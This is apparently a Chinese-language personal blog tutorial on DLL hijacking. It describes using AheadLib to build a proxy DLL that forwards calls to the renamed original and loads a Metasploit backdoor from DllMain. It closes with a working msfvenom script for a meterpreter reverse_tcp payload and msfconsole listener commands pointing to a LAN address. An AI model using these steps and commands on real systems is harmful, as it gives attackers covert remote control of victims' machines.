dll劫持与AheadLib

dll劫持与AheadLib

最近在看msf配置信息的时候,看到生成dll文件,突然就想到了dll劫持,于是准备来折腾一下

dll劫持

dll文件是计算机上的一类文件,提供给使用者一些开箱即用的变量、函数或类。库文件分为静态库和动态库,静态库和动态库的区别体现在程序的链接阶段:静态库在程序的链接阶段被复制到了程序中;动态库在链接阶段没有被复制到程序中,而是程序在运行时由系统动态加载到内存中供程序调用。使用动态库系统只需载入一次,不同的程序可以得到内存中相同的动态库的副本,因此节省了很多内存,而且使用动态库也便于模块化更新程序

dll劫持是当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间

简单来说,dll的存在就是方便程序来直接调用,避免将相同的内容重复多遍,以此来节省内存
而dll劫持,由下面一个例子说明

一个可执行文件运行时,需要调用test.dll文件,但此时我们可以生成一个恶意的test.dll文件,并让他调用我们由msf生成的shell.dll或者其他后门,再调用原来的test.dll文件

图解dll劫持

如果dll劫持成功了,那原本的可执行文件仍将正常使用,但我们的后门也将成功执行,即msf上线

AheadLib

这里推荐一个用来生成dll转发的工具AheadLib

我们随便找一个dll文件来测试一下

我们把它生成的代码复制下来,用VisualStudio创建一个dll动态链接项目,但在这里,可能会出现比较多的问题
我这里使用的是ViusalStudio 2019 不同的版本可能会出现的问题不同

首先项目提示我没有引入头文件,于是我加上了#include "pch.h"
紧接着出现了如下的报错

解决方法是,在项目->属性->高级->字符集 改为使用多字节字符集

其他版本的可能存在不同的报错,可以尝试如下方法

  1. 将运行库改为多线程(/MT)
  2. 将预编译头改为不使用

确认应用之后就只会有一个报错,我们不用管它,在Release x86的模式下,成功生成dll文件
成功处理好报错信息后,我们实现了由test(evil).dll -> test(org).dll
接下来实现test(evil).dll->shell.dll
我们在AheadLib工具生成的cpp文件中,找到DLLMain函数,并加上我们需要调用的后门shell.dll

成功编译后,将生成的dll文件改为与原dll相同的名字,即test.dll,将原本的test.dll改为testorg.dll
这样我们就完成了dll劫持,当运行可执行文件时,将会先调用我们改写的test.dll

最后,msf成功上线


写在后面

最近浅浅的看了下sh文件的写法,于是就想到了写一些msf的sh文件,避免了每次使用msfconsole的复杂配置与msfvenum生成的复杂参数

msfvenum的生成

1
2
3
4
5
6
7
8
9
10
ip=192.168.31.208
port=4444
arch=x86
platform=windows
format=exe
payload=windows/meterpreter/reverse_tcp
#use exploit/muilt/handler
out=../meter_re_tcp_x86.exe

msfvenom -p $payload LHOST=$ip LPORT=$port -f $format -a $arch --platform $platform -o $out

msfconsole的监听

1
2
3
4
5
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.31.208
set LPORT 4444
run

dll劫持与AheadLib
https://glacierrrr.online/2022/08/18/dll劫持与AheadLib/
作者
Glacier
发布于
2022年8月18日
许可协议